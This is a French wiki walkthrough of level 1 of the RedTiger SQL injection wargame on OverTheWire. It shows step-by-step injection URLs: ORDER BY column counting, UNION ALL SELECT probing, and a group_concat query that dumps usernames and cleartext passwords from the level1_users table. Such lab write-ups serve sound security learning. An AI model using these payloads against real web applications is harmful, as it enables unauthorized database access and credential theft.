Outils d'utilisateurs

Outils du Site


redtiger_level1

Redtiger level 1

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level1.php

Dans ce premier niveau, nous avons accès à une page prenant en paramètre un numéro de catégorie. Un indice concernant le nom d’une table de la base de données est également présent : level1_users.

Nous cherchons à connaître le nombre de colonnes présent dans la requête initiale. Nous utiliserons pour cela la commande MySQL ORDER BY ainsi qu'un caractère permettant de terminer la requête afin de ne pas exécuter le reste.

Pour illustrer ce premier level, nous pouvons imaginer une requête comme suit:

SELECT id,id_categorie,titre,texte FROM level1_categorie WHERE id=$_GET['id'];

En effet, si nous injectons ceci:

1 ORDER BY 5#

La requête devient alors :

SELECT id,id_categorie,titre,texte FROM level1_categorie WHERE id=1 ORDER BY 5#

NB: Notons que dans ce cas, l'utilisation d'un caractère spéciale comme # n'est pas utile car il n'y pas d'autres clauses derrière notre injection.

Exploitons maintenant ce paramètre vulnérable:

http://redtiger.labs.overthewire.org/level1.php?cat=1 ORDER BY 5#

http://redtiger.labs.overthewire.org/level1.php?cat=1 ORDER BY 4#

Nous pouvons maintenant être certains que 4 colonnes sont présentes dans la requête initiale. Afin d'extraire des informations, nous allons chercher les champs qui sont affichés dans la page.

Pour cela, nous utiliserons la commande UNION SELECT permettant de concaténer des requêtes à d'autres.

http://redtiger.labs.overthewire.org/level1.php?cat=1 UNION ALL SELECT 1,2,3,4#

Nous constatons que les champs 3 (sûrement titre) et 4 (sûrement texte) sont affichés clairement dans la page.

Nous pouvons maintenant extraire des informations utiles comme la version de MySQL utilisée, l'utilisateur MySQL exécutant la requête, le nom de la base données utilisée…

http://redtiger.labs.overthewire.org/level1.php?cat=1 union all select 1,2,version(),4#
http://redtiger.labs.overthewire.org/level1.php?cat=1 union all select 1,2,user(),4#
http://redtiger.labs.overthewire.org/level1.php?cat=1 union all select 1,2,database(),4#

Nous allons nous concentrer maintenant sur l'extraction des noms des colonnes de la table fournis en indice: level1_users.

Dans ce premier niveau, un filtre est présent sur la chaîne information_schema, ce qui ne nous permet pas facilement d'extraire les noms des colonnes. Nous avons donc utilisé des noms de colonnes communs à beaucoup de base de données. Notons que nous avons utilisé la commande MySQL group_concat() qui nous permet de regrouper différentes colonnes. La représentation 0x3a présente dans la requête nous permet d'avoir un rendu visuel plus performant. En effet, celui-ci correspond au caractère ”:” .

http://redtiger.labs.overthewire.org/level1.php?cat=1 union all select 1,2,group_concat(id,0x3a,username,0x3a,password),4 from level1_users#

Nous obtenons donc le nom d'utilisateur ainsi que son mot de passe en clair.

redtiger_level1.txt · Dernière modification: 2017/04/09 15:33 (modification externe)